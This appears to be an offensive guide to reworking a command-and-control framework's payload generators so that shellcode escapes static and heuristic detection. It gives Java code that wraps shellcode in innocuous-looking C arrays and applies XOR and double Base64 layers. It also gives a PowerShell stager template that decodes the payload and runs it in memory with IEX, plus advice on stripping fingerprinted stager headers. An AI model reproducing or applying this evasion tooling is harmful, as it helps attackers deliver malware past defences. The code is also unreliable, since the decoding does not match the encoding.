Source Code Generator Modifications

Evading static detection mechanisms often requires altering the core generation logic of command and control (C2) frameworks. By modifying the Java source responsible for transforming raw shellcode into various programming languages, operators can change the resulting artifact's signature.

C/C++ Payload Transformation

The following Java method demonstrates a rewritten approach to converting raw byte arrays into a C-style unsigned char array. Instead of using standard formatting wrappers, this implementation integrates a hex-escaping function and customizes the variable naming convention to blend in with legitimate development code.

// GeneratorUtils.java
public static byte[] formatAsCppSource(byte[] rawPayload) {
    CodeBuilder builder = new CodeBuilder();
    int payloadSize = rawPayload.length;
    
    // Adding a disguised comment header
    builder.appendLine("/* Buffer configuration: " + payloadSize + " total bytes */");
    
    // Transforming bytes to a hex-escaped string format
    String hexString = convertToHexEscaped(rawPayload);
    builder.appendLine("unsigned char deployed_data[] = \"" + hexString + "\";");
    
    return builder.toByteArray();
}

private static String convertToHexEscaped(byte[] data) {
    StringBuilder sb = new StringBuilder();
    for (byte b : data) {
        sb.append(String.format("\\x%02x", b));
    }
    return sb.toString();
}

PowerShell Artifact Generation

PowerShell scripts are frequently flagged by heuristic engines. To mitigate this, the generation logic can be updated to apply more robust XOR obfuscation and double Base64 encoding layers before injecting the payload into a template.

// ScriptFactory.java
public byte[] buildPowerShellStager(byte[] shellcode, String profile) throws IOException {
    // Load the external PS1 template resource
    InputStream templateInput = getClass().getResourceAsStream("/assets/" + profile + ".ps1");
    String templateContent = new String(CommonUtils.readAll(templateInput));
    templateInput.close();

    // Apply multi-layer obfuscation
    byte xorKey = (byte) 0x5A; // Custom XOR key
    byte[] obfuscatedShellcode = CommonUtils.xorEncode(shellcode, xorKey);
    
    // Double encoding to flatten entropy and avoid patterns
    String encodedPayload = Base64.getEncoder().encodeToString(
        Base64.getEncoder().encode(obfuscatedShellcode)
    );

    // Inject the payload into the placeholder
    return templateContent.replace("%%OBFUSCATED_PAYLOAD%%", encodedPayload).getBytes();
}

PowerShell Execution Template

The corresponding PowerShell template must be structured to handle the decoding and execution logic securely. The example below uses a staging approach to handle 32-bit and 64-bit architecture differences, separating the payload chunks to avoid simple string scanning.

Set-StrictMode -Version Latest

$Header = ""
$PayloadBody = "%%OBFUSCATED_PAYLOAD%%"
$Footer = ""

function Invoke-Decoder {
    param($InputString)
    [System.Convert]::FromBase64String($InputString)
}

$Part1 = Invoke-Decoder $Header
$Part2 = Invoke-Decoder $PayloadBody
$Part3 = Invoke-Decoder $Footer

# Reassemble the full shellcode in memory
$FinalAssembly = $Part1 + $Part2 + $Part3

# Architecture check and execution
if ([IntPtr]::Size -eq 8) {
    # Force execution in 32-bit mode if necessary
    $Job = Start-Job -ScriptBlock { 
        param($Code) 
        IEX $Code 
    } -RunAs32 -ArgumentList $FinalAssembly
    $Job | Wait-Job | Receive-Job | Out-Null
}
else {
    IEX $FinalAssembly
}

Binary Stager Analysis

A crucial aspect of understanding evasion is comparing the raw stager binary (httpstager.bin) against the complete payload binary (payload.bin). Analyzing the differences reveals how the stager establishes the initial connection and allocates memory before downloading and executing the larger, encrypted payload. Modifying the stager's source code allows operators to remove specific header values or encryption routines that are commonly fingerprinted by security solutions.